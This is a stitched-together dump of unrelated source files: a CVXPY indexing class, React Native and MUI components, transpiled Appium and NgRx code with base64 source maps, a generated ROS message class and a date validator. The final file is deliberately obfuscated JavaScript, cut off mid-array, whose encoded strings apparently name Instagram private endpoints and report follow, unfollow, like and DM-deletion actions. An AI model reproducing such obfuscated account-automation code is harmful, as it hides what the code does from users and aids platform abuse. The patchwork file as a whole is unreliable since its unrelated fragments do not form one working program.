""" Copyright 2013 Steven Diamond This file is part of CVXPY. CVXPY is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. CVXPY is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with CVXPY. If not, see <http://www.gnu.org/licenses/>. """ from cvxpy.atoms.affine.affine_atom import AffAtom from cvxpy.atoms.affine.vec import vec from cvxpy.atoms.affine.reshape import reshape from cvxpy.utilities import key_utils as ku import cvxpy.lin_ops.lin_utils as lu import scipy.sparse as sp import numpy as np class index(AffAtom): """Indexing/slicing into an Expression. CVXPY supports NumPy-like indexing semantics via the Expression class' overloading of the ``[]`` operator. This is a low-level class constructed by that operator, and it should not be instantiated directly. Parameters ---------- expr : Expression The expression indexed/sliced into. key : The index/slicing key (i.e. expr[key[0],key[1]]). """ def __init__(self, expr, key, orig_key=None): # Format and validate key. if orig_key is None: self._orig_key = key self.key = ku.validate_key(key, expr.shape) else: self._orig_key = orig_key self.key = key super(index, self).__init__(expr) # The string representation of the atom. def name(self): # TODO string should be orig_key inner_str = "[%s" + ", %s"*(len(self.key)-1) + "]" return self.args[0].name() + inner_str % ku.to_str(self.key) def numeric(self, values): """ Returns the index/slice into the given value. """ return values[0][self._orig_key] def shape_from_args(self): """Returns the shape of the index expression. """ return ku.shape(self.key, self._orig_key, self.args[0].shape) def get_data(self): """Returns the (row slice, column slice). """ return [self.key, self._orig_key] @staticmethod def graph_implementation(arg_objs, shape, data=None): """Index/slice into the expression. Parameters ---------- arg_objs : list LinExpr for each argument. shape : tuple The shape of the resulting expression. data : tuple A tuple of slices. Returns ------- tuple (LinOp, [constraints]) """ obj = lu.index(arg_objs[0], shape, data[0]) return (obj, []) @staticmethod def get_special_slice(expr, key): """Indexing using logical indexing or a list of indices. Parameters ---------- expr : Expression The expression being indexed/sliced into. key : tuple ndarrays or lists. Returns ------- Expression An expression representing the index/slice. """ expr = index.cast_to_const(expr) # Order the entries of expr and select them using key. idx_mat = np.arange(expr.size) idx_mat = np.reshape(idx_mat, expr.shape, order='F') select_mat = idx_mat[key] final_shape = select_mat.shape select_vec = np.reshape(select_mat, select_mat.size, order='F') # Select the chosen entries from expr. identity = sp.eye(expr.size).tocsc() return reshape(identity[select_vec]*vec(expr), final_shape)
let {thisorthat} = require ('thisorthat.js'); let config_a = { min: 1, max: 100, image: false }; let config_b = { min: 1, max: 100, image: true }; let possible_configs = [ config_a, config_b ]; // Given a tuple of objects, choose one and persist that choice across sessions chosen_config = thisorthat('my_app', possible_configs)
import { StyleSheet } from 'react-native'; export default StyleSheet.create({ container: { marginTop: 25, padding: 10 }, addressContainer: { backgroundColor: '#fff', alignItems: 'center', justifyContent: 'center' }, header: { fontSize: 20 }, nav: { flexDirection: 'row', justifyContent: 'space-around' }, navItem: { flex: 1, alignItems: 'center', padding: 10 }, subNavItem: { padding: 5 }, topic: { textAlign: 'center', fontSize: 15 }, buttonView: { marginRight: 40, marginLeft: 40, marginTop: 10, paddingTop: 20, paddingBottom: 20, paddingLeft: 20, paddingRight: 20, backgroundColor: '#68a0cf', borderRadius: 10, borderWidth: 1, borderColor: '#fff', width: '75%' } });
"use strict"; var _regeneratorRuntime = require("babel-runtime/regenerator")["default"]; var _Object$assign = require("babel-runtime/core-js/object/assign")["default"]; Object.defineProperty(exports, "__esModule", { value: true }); var helpers = {}, extensions = {}; // we override the xpath search for this first-visible-child selector, which // looks like /*[@firstVisible="true"] var MAGIC_FIRST_VIS_CHILD_SEL = /\/\*\[@firstVisible ?= ?('|")true\1\]/; var MAGIC_SCROLLABLE_SEL = /\/\/\*\[@scrollable ?= ?('|")true\1\]/; var MAGIC_SCROLLABLE_BY = "new UiSelector().scrollable(true)"; /** * Overriding helpers.doFindElementOrEls functionality of appium-android-driver, * this.element initialized in find.js of appium-android-drive. */ helpers.doFindElementOrEls = function callee$0$0(params) { var elementId; return _regeneratorRuntime.async(function callee$0$0$(context$1$0) { while (1) switch (context$1$0.prev = context$1$0.next) { case 0: if (!(params.strategy === "xpath" && MAGIC_FIRST_VIS_CHILD_SEL.test(params.selector))) { context$1$0.next = 5; break; } elementId = params.context; context$1$0.next = 4; return _regeneratorRuntime.awrap(this.uiautomator2.jwproxy.command("/appium/element/" + elementId + "/first_visible", 'GET', {})); case 4: return context$1$0.abrupt("return", context$1$0.sent); case 5: if (params.strategy === "xpath" && MAGIC_SCROLLABLE_SEL.test(params.selector)) { params.strategy = "-android uiautomator"; params.selector = MAGIC_SCROLLABLE_BY; } if (!params.multiple) { context$1$0.next = 12; break; } context$1$0.next = 9; return _regeneratorRuntime.awrap(this.uiautomator2.jwproxy.command("/elements", 'POST', params)); case 9: return context$1$0.abrupt("return", context$1$0.sent); case 12: context$1$0.next = 14; return _regeneratorRuntime.awrap(this.uiautomator2.jwproxy.command("/element", 'POST', params)); case 14: return context$1$0.abrupt("return", context$1$0.sent); case 15: case "end": return context$1$0.stop(); } }, null, this); }; _Object$assign(extensions, helpers); exports.helpers = helpers; exports["default"] = extensions; //# sourceMappingURL=data:application/json;charset=utf8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImxpYi9jb21tYW5kcy9maW5kLmpzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiI7Ozs7Ozs7Ozs7QUFDQSxJQUFJLE9BQU8sR0FBRyxFQUFFO0lBQUUsVUFBVSxHQUFHLEVBQUUsQ0FBQzs7OztBQUlsQyxJQUFNLHlCQUF5QixHQUFHLHVDQUF1QyxDQUFDOztBQUUxRSxJQUFNLG9CQUFvQixHQUFHLHVDQUF1QyxDQUFDO0FBQ3JFLElBQU0sbUJBQW1CLEdBQUcsbUNBQW1DLENBQUM7Ozs7OztBQU1oRSxPQUFPLENBQUMsa0JBQWtCLEdBQUcsb0JBQWdCLE1BQU07TUFFM0MsU0FBUzs7OztjQURYLE1BQU0sQ0FBQyxRQUFRLEtBQUssT0FBTyxJQUFJLHlCQUF5QixDQUFDLElBQUksQ0FBQyxNQUFNLENBQUMsUUFBUSxDQUFDLENBQUE7Ozs7O0FBQzVFLGlCQUFTLEdBQUcsTUFBTSxDQUFDLE9BQU87O3lDQUNqQixJQUFJLENBQUMsWUFBWSxDQUFDLE9BQU8sQ0FBQyxPQUFPLHNCQUFvQixTQUFTLHFCQUFrQixLQUFLLEVBQUUsRUFBRSxDQUFDOzs7Ozs7QUFFekcsWUFBSSxNQUFNLENBQUMsUUFBUSxLQUFLLE9BQU8sSUFBSSxvQkFBb0IsQ0FBQyxJQUFJLENBQUMsTUFBTSxDQUFDLFFBQVEsQ0FBQyxFQUFFO0FBQzdFLGdCQUFNLENBQUMsUUFBUSxHQUFHLHNCQUFzQixDQUFDO0FBQ3pDLGdCQUFNLENBQUMsUUFBUSxHQUFHLG1CQUFtQixDQUFDO1NBQ3ZDOzthQUNHLE1BQU0sQ0FBQyxRQUFROzs7Ozs7eUNBQ0osSUFBSSxDQUFDLFlBQVksQ0FBQyxPQUFPLENBQUMsT0FBTyxjQUFjLE1BQU0sRUFBRSxNQUFNLENBQUM7Ozs7Ozs7eUNBRTlELElBQUksQ0FBQyxZQUFZLENBQUMsT0FBTyxDQUFDLE9BQU8sYUFBYSxNQUFNLEVBQUUsTUFBTSxDQUFDOzs7Ozs7Ozs7O0NBRTdFLENBQUM7O0FBRUYsZUFBYyxVQUFVLEVBQUUsT0FBTyxDQUFDLENBQUM7UUFDMUIsT0FBTyxHQUFQLE9BQU87cUJBQ0QsVUFBVSIsImZpbGUiOiJsaWIvY29tbWFuZHMvZmluZC5qcyIsInNvdXJjZXNDb250ZW50IjpbIlxubGV0IGhlbHBlcnMgPSB7fSwgZXh0ZW5zaW9ucyA9IHt9O1xuXG4vLyB3ZSBvdmVycmlkZSB0aGUgeHBhdGggc2VhcmNoIGZvciB0aGlzIGZpcnN0LXZpc2libGUtY2hpbGQgc2VsZWN0b3IsIHdoaWNoXG4vLyBsb29rcyBsaWtlIC8qW0BmaXJzdFZpc2libGU9XCJ0cnVlXCJdXG5jb25zdCBNQUdJQ19GSVJTVF9WSVNfQ0hJTERfU0VMID0gL1xcL1xcKlxcW0BmaXJzdFZpc2libGUgPz0gPygnfFwiKXRydWVcXDFcXF0vO1xuXG5jb25zdCBNQUdJQ19TQ1JPTExBQkxFX1NFTCA9IC9cXC9cXC9cXCpcXFtAc2Nyb2xsYWJsZSA/PSA/KCd8XCIpdHJ1ZVxcMVxcXS87XG5jb25zdCBNQUdJQ19TQ1JPTExBQkxFX0JZID0gXCJuZXcgVWlTZWxlY3RvcigpLnNjcm9sbGFibGUodHJ1ZSlcIjtcblxuLyoqXG4gKiBPdmVycmlkaW5nIGhlbHBlcnMuZG9GaW5kRWxlbWVudE9yRWxzIGZ1bmN0aW9uYWxpdHkgb2YgYXBwaXVtLWFuZHJvaWQtZHJpdmVyLFxuICogdGhpcy5lbGVtZW50IGluaXRpYWxpemVkIGluIGZpbmQuanMgb2YgYXBwaXVtLWFuZHJvaWQtZHJpdmUuXG4gKi9cbmhlbHBlcnMuZG9GaW5kRWxlbWVudE9yRWxzID0gYXN5bmMgZnVuY3Rpb24gKHBhcmFtcykge1xuICBpZiAocGFyYW1zLnN0cmF0ZWd5ID09PSBcInhwYXRoXCIgJiYgTUFHSUNfRklSU1RfVklTX0NISUxEX1NFTC50ZXN0KHBhcmFtcy5zZWxlY3RvcikpIHtcbiAgICBsZXQgZWxlbWVudElkID0gcGFyYW1zLmNvbnRleHQ7XG4gICAgcmV0dXJuIGF3YWl0IHRoaXMudWlhdXRvbWF0b3IyLmp3cHJveHkuY29tbWFuZChgL2FwcGl1bS9lbGVtZW50LyR7ZWxlbWVudElkfS9maXJzdF92aXNpYmxlYCwgJ0dFVCcsIHt9KTtcbiAgfVxuICBpZiAocGFyYW1zLnN0cmF0ZWd5ID09PSBcInhwYXRoXCIgJiYgTUFHSUNfU0NST0xMQUJMRV9TRUwudGVzdChwYXJhbXMuc2VsZWN0b3IpKSB7XG4gICAgcGFyYW1zLnN0cmF0ZWd5ID0gXCItYW5kcm9pZCB1aWF1dG9tYXRvclwiO1xuICAgIHBhcmFtcy5zZWxlY3RvciA9IE1BR0lDX1NDUk9MTEFCTEVfQlk7XG4gIH1cbiAgaWYgKHBhcmFtcy5tdWx0aXBsZSkge1xuICAgIHJldHVybiBhd2FpdCB0aGlzLnVpYXV0b21hdG9yMi5qd3Byb3h5LmNvbW1hbmQoYC9lbGVtZW50c2AsICdQT1NUJywgcGFyYW1zKTtcbiAgfSBlbHNlIHtcbiAgICByZXR1cm4gYXdhaXQgdGhpcy51aWF1dG9tYXRvcjIuandwcm94eS5jb21tYW5kKGAvZWxlbWVudGAsICdQT1NUJywgcGFyYW1zKTtcbiAgfVxufTtcblxuT2JqZWN0LmFzc2lnbihleHRlbnNpb25zLCBoZWxwZXJzKTtcbmV4cG9ydCB7IGhlbHBlcnMgfTtcbmV4cG9ydCBkZWZhdWx0IGV4dGVuc2lvbnM7XG4iXSwic291cmNlUm9vdCI6Ii4uLy4uLy4uIn0=
const PropTypes = require('prop-types'); const { useState } = require('react'); const { Dialog, DialogTitle, DialogContent } = require('@mui/material'); const useModal = () => { const [isOpen, setIsOpen] = useState(false); const toggleModal = () => setIsOpen(!isOpen); const renderModal = (title, component) => ( <Dialog open={isOpen} onClose={toggleModal}> <DialogTitle>{title} </DialogTitle> <DialogContent>{component}</DialogContent> </Dialog> ); renderModal.propTypes = { title: PropTypes.string, component: PropTypes.element }; return { toggleModal, renderModal }; }; export default useModal;
/** * @fileoverview added by tsickle * Generated from: public_api.ts * @suppress {checkTypes,constantProperty,extraRequire,missingOverride,missingReturn,unusedPrivateMembers,uselessCode} checked by tsc */ export { ROUTER_ERROR, ROUTER_CANCEL, ROUTER_NAVIGATION, ROUTER_NAVIGATED, ROUTER_REQUEST, routerCancelAction, routerErrorAction, routerNavigatedAction, routerNavigationAction, routerRequestAction, routerReducer, StoreRouterConnectingModule, NavigationActionTiming, ROUTER_CONFIG, DEFAULT_ROUTER_FEATURENAME, RouterStateSerializer, DefaultRouterStateSerializer, MinimalRouterStateSerializer, getSelectors } from './src/index'; //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoicHVibGljX2FwaS5qcyIsInNvdXJjZVJvb3QiOiIiLCJzb3VyY2VzIjpbIi4uLy4uLy4uLy4uL21vZHVsZXMvcm91dGVyLXN0b3JlL3B1YmxpY19hcGkudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6Ijs7Ozs7QUFBQSw0WkFBYyxhQUFhLENBQUMiLCJzb3VyY2VzQ29udGVudCI6WyJleHBvcnQgKiBmcm9tICcuL3NyYy9pbmRleCc7XG4iXX0=
# This Python file uses the following encoding: utf-8 """autogenerated by genpy from geometry_msgs/AccelWithCovarianceStamped.msg. Do not edit.""" import sys python3 = True if sys.hexversion > 0x03000000 else False import genpy import struct import geometry_msgs.msg import std_msgs.msg class AccelWithCovarianceStamped(genpy.Message): _md5sum = "96adb295225031ec8d57fb4251b0a886" _type = "geometry_msgs/AccelWithCovarianceStamped" _has_header = True #flag to mark the presence of a Header object _full_text = """# This represents an estimated accel with reference coordinate frame and timestamp. Header header AccelWithCovariance accel ================================================================================ MSG: std_msgs/Header # Standard metadata for higher-level stamped data types. # This is generally used to communicate timestamped data # in a particular coordinate frame. # # sequence ID: consecutively increasing ID uint32 seq #Two-integer timestamp that is expressed as: # * stamp.sec: seconds (stamp_secs) since epoch (in Python the variable is called 'secs') # * stamp.nsec: nanoseconds since stamp_secs (in Python the variable is called 'nsecs') # time-handling sugar is provided by the client library time stamp #Frame this data is associated with # 0: no frame # 1: global frame string frame_id ================================================================================ MSG: geometry_msgs/AccelWithCovariance # This expresses acceleration in free space with uncertainty. Accel accel # Row-major representation of the 6x6 covariance matrix # The orientation parameters use a fixed-axis representation. # In order, the parameters are: # (x, y, z, rotation about X axis, rotation about Y axis, rotation about Z axis) float64[36] covariance ================================================================================ MSG: geometry_msgs/Accel # This expresses acceleration in free space broken into its linear and angular parts. Vector3 linear Vector3 angular ================================================================================ MSG: geometry_msgs/Vector3 # This represents a vector in free space. # It is only meant to represent a direction. Therefore, it does not # make sense to apply a translation to it (e.g., when applying a # generic rigid transformation to a Vector3, tf2 will only apply the # rotation). If you want your data to be translatable too, use the # geometry_msgs/Point message instead. float64 x float64 y float64 z""" __slots__ = ['header','accel'] _slot_types = ['std_msgs/Header','geometry_msgs/AccelWithCovariance'] def __init__(self, *args, **kwds): """ Constructor. Any message fields that are implicitly/explicitly set to None will be assigned a default value. The recommend use is keyword arguments as this is more robust to future message changes. You cannot mix in-order arguments and keyword arguments. The available fields are: header,accel :param args: complete set of field values, in .msg order :param kwds: use keyword arguments corresponding to message field names to set specific fields. """ if args or kwds: super(AccelWithCovarianceStamped, self).__init__(*args, **kwds) #message fields cannot be None, assign default values for those that are if self.header is None: self.header = std_msgs.msg.Header() if self.accel is None: self.accel = geometry_msgs.msg.AccelWithCovariance() else: self.header = std_msgs.msg.Header() self.accel = geometry_msgs.msg.AccelWithCovariance() def _get_types(self): """ internal API method """ return self._slot_types def serialize(self, buff): """ serialize message into buffer :param buff: buffer, ``StringIO`` """ try: _x = self buff.write(_struct_3I.pack(_x.header.seq, _x.header.stamp.secs, _x.header.stamp.nsecs)) _x = self.header.frame_id length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) if python3: buff.write(struct.pack('<I%sB'%length, length, *_x)) else: buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self buff.write(_struct_6d.pack(_x.accel.accel.linear.x, _x.accel.accel.linear.y, _x.accel.accel.linear.z, _x.accel.accel.angular.x, _x.accel.accel.angular.y, _x.accel.accel.angular.z)) buff.write(_struct_36d.pack(*self.accel.covariance)) except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self))))) except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self))))) def deserialize(self, str): """ unpack serialized message in str into this message instance :param str: byte array of serialized message, ``str`` """ try: if self.header is None: self.header = std_msgs.msg.Header() if self.accel is None: self.accel = geometry_msgs.msg.AccelWithCovariance() end = 0 _x = self start = end end += 12 (_x.header.seq, _x.header.stamp.secs, _x.header.stamp.nsecs,) = _struct_3I.unpack(str[start:end]) start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.header.frame_id = str[start:end].decode('utf-8') else: self.header.frame_id = str[start:end] _x = self start = end end += 48 (_x.accel.accel.linear.x, _x.accel.accel.linear.y, _x.accel.accel.linear.z, _x.accel.accel.angular.x, _x.accel.accel.angular.y, _x.accel.accel.angular.z,) = _struct_6d.unpack(str[start:end]) start = end end += 288 self.accel.covariance = _struct_36d.unpack(str[start:end]) return self except struct.error as e: raise genpy.DeserializationError(e) #most likely buffer underfill def serialize_numpy(self, buff, numpy): """ serialize message with numpy array types into buffer :param buff: buffer, ``StringIO`` :param numpy: numpy python module """ try: _x = self buff.write(_struct_3I.pack(_x.header.seq, _x.header.stamp.secs, _x.header.stamp.nsecs)) _x = self.header.frame_id length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) if python3: buff.write(struct.pack('<I%sB'%length, length, *_x)) else: buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self buff.write(_struct_6d.pack(_x.accel.accel.linear.x, _x.accel.accel.linear.y, _x.accel.accel.linear.z, _x.accel.accel.angular.x, _x.accel.accel.angular.y, _x.accel.accel.angular.z)) buff.write(self.accel.covariance.tostring()) except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self))))) except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self))))) def deserialize_numpy(self, str, numpy): """ unpack serialized message in str into this message instance using numpy for array types :param str: byte array of serialized message, ``str`` :param numpy: numpy python module """ try: if self.header is None: self.header = std_msgs.msg.Header() if self.accel is None: self.accel = geometry_msgs.msg.AccelWithCovariance() end = 0 _x = self start = end end += 12 (_x.header.seq, _x.header.stamp.secs, _x.header.stamp.nsecs,) = _struct_3I.unpack(str[start:end]) start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.header.frame_id = str[start:end].decode('utf-8') else: self.header.frame_id = str[start:end] _x = self start = end end += 48 (_x.accel.accel.linear.x, _x.accel.accel.linear.y, _x.accel.accel.linear.z, _x.accel.accel.angular.x, _x.accel.accel.angular.y, _x.accel.accel.angular.z,) = _struct_6d.unpack(str[start:end]) start = end end += 288 self.accel.covariance = numpy.frombuffer(str[start:end], dtype=numpy.float64, count=36) return self except struct.error as e: raise genpy.DeserializationError(e) #most likely buffer underfill _struct_I = genpy.struct_I _struct_3I = struct.Struct("<3I") _struct_6d = struct.Struct("<6d") _struct_36d = struct.Struct("<36d")
export default function isDate (p, type) { let regex = null; if ( type === 'DD/MM/YYYY' ) { regex = new RegExp(/(0?[1-9]|[12][0-9]|3[01])([ \/\/])(0?[1-9]|1[012])([ \/\/])([0-9][0-9][0-9][0-9])$/); } else if( type === 'YYYY/MM/DD' ) { regex = new RegExp(/([0-9][0-9][0-9][0-9])([ \/\/])(0?[1-9]|1[012])([ \/\/])(0?[1-9]|[12][0-9]|3[01])$/); } else { return false; } return regex.test(p); }
var _0x5847=['yMX1zq','B3b0Aw9UlMzHC3q','lM1LBMrHBa','AgLNAgXPz2H0oG','lZ9Fx2e9mq','Cg9W','ywrKq2XHC3m','B3b0Aw9UlMrTx2zVBgXVD2LUzW','mMu2mtyWmteWnwrMnZnKmwiYmdy0yJmYmtm2mgeYnMq2ytaWotfIyW','zwrNzv9MB2XSB3DLzf9IEq','l2LUzM8V','C2LUz2XLBg9UzwX5','Bg9Hza','i2nVBw1LBNq','vuLe','lMLZz3jqic5ZCwrpuc5mm05lEs55m3PlrJPUB3qOlNnXze9qlKWZtKT5lL84qtv3nsK','DMfSDwu','Ahr0Chm6lY93D3CUAw5ZDgfNCMfTlMnVBs93zwiVzNjPzw5KC2HPChmV','mteXnJeXEePvr1PR','zg1FzM9SBg93Aw5N','mte0nta0D2jzrwPc','Cg9ZDa','teHpievzqsbhquSGvevliefsquHotYbqse9utYbuqsbgt0Xmt1DfuLmGrs4Gs0XjsYbesvnfsYbqt1aTvvaGrK9mte9xiceHiejmqvntu1m','yNv0Dg9UlMfpt2XxlKHVthDT','AgLKzgvU','lMfUzhjVAwq','pgK+tM9Uywn0AxzLlI4UicyJmti5mZi0oZWVAt4','DxnLCM5HBwu','DgHYzwfKx2LK','zMfPBa','CMvZDwX0x3vYBa','zgvSzxrLx2rT','pgK+u3vJy2vZCYbbzgqGvuLelI4GjImXmJG1mJi7pc9PpG','yZiWngy2n2fKzti5ytfMzMm0zdjImJm4ngrJmdm0oduWztu1y2nJzG','ic4UlIaMiZeYoduXmZS8l2K+','CMvWBgfJzq','z3jVDxa','Ahr0Chm6lY9PlMLUC3rHz3jHBs5JB20VyxbPl3yXl2rPCMvJDf92mI9PBMjVEc8','z29VBg5R','pgK+v2vZie1HCMKUlI4GjImXmJKZmJq7pc9PpG','yML0BhK','pgK+u3vJy2vZCYboz2vSAw5RlI4GjImXmJG1mJi7pc9PpG','pgK+t25VifnLBMCGu2fSywGUlI4GjImXmJKZmJq7pc9PpG','ywrKrxzLBNrmAxn0zw5LCG','B3b0Aw9UlM1LzgL1Bq','CNvUDgLTzq','ihWGse9uie1zifzjrevpicyGueHpve8Gr1jpvva','zM9Sx2rT','pgK+r2v0ifvjrc4UicyJmti4nte0oZWVAt4','zwfJAa','Ahr0Chm6lY9PlMLUC3rHz3jHBs5JB20VyxbPl3yXl2rPCMvJDf92mI9Wzw5KAw5Nx2LUyM94lW','B3b0Aw9UlMrT','rw5KAsbby2nVDw50ifnLBMCGugvUz2vUifrLAYbdAgvJAYa/','C2nYB2XSsgvPz2H0','B3b0Aw9UlMrTx2LTywDL','BgLRzunVBw1LBNq','AhrTBa','Ahr0Chm6lY93D3CUAw5ZDgfNCMfTlMnVBs93zwiVy29TBwvUDhmV','l3vWzgf0zv90AxrSzs8','vxjVBMCGtg9NAw4','Ahr0Chm6lY9PlMLUC3rHz3jHBs5JB20VyxbPl3yXl2rPCMvJDf92mI90AhjLywrZl2jYB2fKy2fZDc9YzwvSx3jLywn0lW','pgK+u2vHCMnOifn0B3j5ia','rw5KAsbvsuqGDguGsxuGpZ8','w2nSyxnZkJ0NCMfUzg9Tj10SifTJBgfZCYO9j2jUyYDDlcbBy2XHC3mQpsDZAhj0y28NxsWGw2nSyxnZkJ0NBgLUA3nOAw0NxsWGw2nSyxnZkJ0Nz29VBg5Rj10SifTJBgfZCYO9j2jPDgX5j10','Ahr0Chm6lY9PlMLUC3rHz3jHBs5JB20VyxbPl3yXl2rPCMvJDf92mI90AhjLywrZl2jYB2fKy2fZDc9SAw5RlW','pgK+qMXHC3nZCY4UlIaMiZeYoti5nZS8l2K+','ztfMmMuXowvMogy5nwrJmtfHm2y0mdzLn2rMzwqWnZaZmwyZy2eYzq','lMDLDfvZzxjUyw1L','lMnOzwnR','mtm3mwyZmguWzwzLywnLntq1ndy3zdi1nJy3zwvLnteXzgvHndLIoq','zgf0yq','Ahr0Chm6lY93D3CUAw5ZDgfNCMfTlMnVBs9KyxrHl3nOyxjLzf9KyxrHlW','mtm1ntzKodi5ngvLmMq1mMuWnJvJmtfJn2eZntm0ndbHztK4zdKXmq','w2nSyxnZkJ0NChjPDMf0zsDDlcbBy2XHC3mQpsDWDwjSAwmNxsWGw2nSyxnZkJ0NA2fIzwGNxsWGw2nSyxnZkJ0NDxnLCM5HBwuNxsWGw2nSyxnZkJ0NC3rVCNKNxsWGw2nSyxnZkJ0NzM9SBg93zxjZj10SifTJBgfZCYO9j2zVBgXVD2LUzYDD','ChvIBgLJ','B3b0Aw9UlMXPA2vdB21Tzw50','ztCZmdzJmZy3nJvJogm1nwmXmZvMmZuWntfKzgjMndLJmdy2nZm5mq','i2HHC2LS','pgK+v2vZievUDgvRlI4GjImXmJG1mJi7pc9PpG','pgK+u3vJy2vZCYbets1hlI4GjImXmJG1mJi7pc9PpG','z3jHCgHXBa','zgL2w3n0EwXLpsjOzwLNAhq6idm1nNb4oYbVDMvYzMXVDZOGAgLKzgvUigf1Dg87iL0','CgfNzv9PBMzV','Ahr0Chm6lY93D3CUAw5ZDgfNCMfTlMnVBs9SAw5RC2HPBs9SAw5RlW','pgK+v2vZie1HCMKGlI4GjImXmJG1mJi7pc9PpG','pgK+v2vZie1HCMKUlI4GjImXmJG1mtq7pc9PpG','y29SB3i','B3b0Aw9UlNrHBwjHAfvjra','B3b0Aw9UlMzVBgXVD2vYCW','uNvU','Ahr0Chm6lY93D3CUAw5ZDgfNCMfTlMnVBs93zwiVBgLRzxmV','l2zVBgXVDY8','pgK+v2vZievUDgvRlI4UicyJmti4nte0oZWVAt4','zg1FAw1Hz2u','y292zxjFBwvKAwe','l2rLBgv0zs8','DxjP','v0vt','pgK+r2fRie9UBYbtDg9YEs4UlIaMi3GXrJyWmdS8l2K+','lNrHBxbLCG','pgK+r2fRier1D2uGsw5IB3GUlIaMiZeYoduYmJS8l2K+','B3b0Aw9UlNn0B3j5','C2vSzwn0lMPLBMLZ','Ahr0Chm6lY9HCgKTC3nSlMjPDgX5lMnVBs92nc9ZAg9YDgvU','mJuXntyWDgfZt05t','pgK+v2vZieXPBwL0lI4UicyJmti5mZi0oZWVAt4','pgK+rw50zw5PifnLzY4UlIaMi3GXrJyWmdS8l2K+','C3vIC3rYAw5N','sg9WiceHifDLCYbnBgfRDsbkB2SGvgvRieTSAwSGtwfUzwG','l2HPzguV','zwjVBNLTB20','tMPVAYbgB2XSB3CGugLYBZ8','zMXVB2q','pgK+twXHA3uGvw5MB2XSB3CUlI4GjImXmJG1mtq7pc9PpG','B3b0Aw9UlNvZzxjUyw1L','yw5PBwf0zq','mtiXnZK4mty0ndG3otyYoa','ogjImdy3zti5nZvKmZm5yZu2mMyWm2nMnZbLotmYzwfKzta0mtzHmG','l2fKzf91C2vYlW','z2v0uMvZCg9UC2vizwfKzxi','lMLZz3jq','lMvYCM9Ytg9N','pgK+u3vJy2vZCYbcAxrSEs4UicyJmti4ntiYoZWVAt4','lNnXze9qlKWZtKT5lNKZEKTgoM5VDcGUC3fKt1aUtdnos3KUxZHbnxC1kq','zdHIzgq2mwfJmMiYmtmXmJrKzJq2n2i5nZHIytLJodaXy2m1zgfMnG','B3b0Aw9UlMXPBMTZAgLT','zwrNzv9SAwTLzf9IEq','pgK+v2vZie1HCMKUlIaMiZeYoduYmJS8l2K+','ugLSzwGGt3bZAsbeBsbeAxnLAW','rw5KAsbvsuqGzsaHiq','rMLSDgvYifvjrcbKAxnLAYbqAwXLAcbfBMrPlG','yxbWBgLJyxrPB24VANnVBJSGy2HHCNnLDd11DgyToa','C2vUze1LC3nHz2u','C2XVDW','BgLUA3nOAw0','C3rHDhvZ','y29UBMvJDgLVBL9XDwfSAxr5x3jHDgLUzW','DMLLD2vY','B3b0Aw9UlMrLBgv0zv9KBq','lMLVCW','zdvKnZyZyJfLmMfJzJiWowq2mMqYmMqXodq0odHLntC','Ahr0Chm6lY93D3CUAw5ZDgfNCMfTlMnVBs9JCMvHDguV','sg9WiceH','CMvTB3zLq2XHC3m','pgK+r2fRier1D2uGuMvXDwvZDc4UicyJmti4ntiYoZWVAt4','Aw5WDxqJCgvWv2vIC2L0zq','y2vPBa','ANnVBG','pgK+u3vJy2vZCYbZAhj0y28UlIaMiZeYoduYmJS8l2K+','ywPHEa','B3b0Aw9UlMTHyMvO','z3jLzw4','BwvKAxvT','nJi4otuXu3n2z1HQ','B3b0Aw9UlNvUzM9SBg93','y2HHBMDL','mJiZmwm0ztm2ywnHnMzLm2mZowfInwjMnJuXmMm3oti2yZyWowy0zG','lI4GjImXmJG1mtq7pc9PpG','B3b0Aw9UlMHPzgu','DMLZAwjPBgL0EwnOyw5Nzq','Ahr0Chm6lY93D3CUAw5ZDgfNCMfTlMnVBs8','C2vUzgTLExm','z2v0','mxr0A0DRtW','BgLUzwfY','mgq1nwi3zMm4nMmXytu5mZeWnJjLmtfKmJiWntLLntjMzJCZy2qWnW','C2vSzwn0lMzPBhrLCG','mgvMyZe5zJiYy2fHnJrJntC3nwnKmJK3zJjIzwe4mwi3zgqWzdyXyG','yxbWCM92zwq','Aw5WDxrBBMfTzt11C2vYBMfTzv0','lMP1BwXHAhvZzxi','Aw5WDxq','B3b0Aw9UlMjUyW','pgK+r2v0ifbOB3rVlI4GjImXmJG1mtq7pc9PpG','DgHYzwfKCW','C2vSzwn0lMXPBMS','pgK+v2vZie1HCMKGrM9SBg93lI4UicyJmti5mZi0oZWVAt4','Aw5IB3G','pgK+r2v0ifvjrc4UicyJmti4ntiYoZWVAt4','zNvSBf9Uyw1L','A2LYzw1mAw5R','pgK+qwrKifvjrc4UlIaMiZeYoti5nZS8l2K+','mJaYmJC2AhPfAu5I','pgK+tgLTAxqGrM9SBg93ia','lMTPCMvTCgvZyw4','nZy1mdy4tevHy012','Ahr0Chm6lY9IBMmUBhqVjde','ChjPDMf0zq','pgK+rw50zw5PifnLzY4UlIaMiZeYoduXmZS8l2K+','pgK+tgLTAxqUlI4GjImXmJKZmJq7pc9PpG','r2fUDgLuywi','CMvLBhm','zM9SBg93zxjZ','B3b0Aw9UlMzSB29K','pgK+s2vUzwSGtgLTAxqUlI4GjImXmJKZmJq7pc9PpG','CgXHEq